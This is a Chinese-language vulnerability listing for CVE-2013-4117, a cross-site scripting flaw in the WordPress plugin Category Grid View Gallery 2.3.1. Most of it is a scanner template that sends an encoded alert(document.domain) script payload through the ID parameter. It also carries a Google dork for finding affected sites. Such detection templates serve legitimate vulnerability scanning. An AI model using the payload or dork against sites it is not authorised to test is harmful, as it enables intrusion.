CVE-2013-4117: WordPress Plugin Category Grid View Gallery 2.3.1 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: WordPress Plugin Category Grid View Gallery | POC: 已公开

漏洞描述

A cross-site scripting vulnerability in includes/CatGridPost.php in the Category Grid View Gallery plugin 2.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the ID parameter.

PoC代码[已公开]

id: CVE-2013-4117

info:
  name: WordPress Plugin Category Grid View Gallery 2.3.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in includes/CatGridPost.php in the Category Grid View Gallery plugin 2.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the ID parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Plugin Category Grid View Gallery or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-4117
    - http://openwall.com/lists/oss-security/2013/07/11/11
    - http://seclists.org/bugtraq/2013/Jul/17
    - http://exploit.iedb.ir/exploits-177.html
    - http://packetstormsecurity.com/files/122259/WordPress-Category-Grid-View-Gallery-XSS.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-4117
    cwe-id: CWE-79
    epss-score: 0.11755
    epss-percentile: 0.93458
    cpe: cpe:2.3:a:anshul_sharma:category-grid-view-gallery:2.3.1:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "anshul_sharma"
    product: "category-grid-view-gallery"
    google-query: "inurl:\"/wp-content/plugins/category-grid-view-gallery\""
  tags: cve2013,cve,seclists,packetstorm,wordpress,xss,wp-plugin,anshul_sharma
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/category-grid-view-gallery/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Category Grid View Gallery ='

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fe0b69ef73397a263555c044a8878c550432e998d8994e93fc892140074a55220220030a3759d917dce11338072c43a751ad8921de3a651ae916bde4cabba25e7d28:922c64590222798bb761d5b6d8e72950

相关漏洞推荐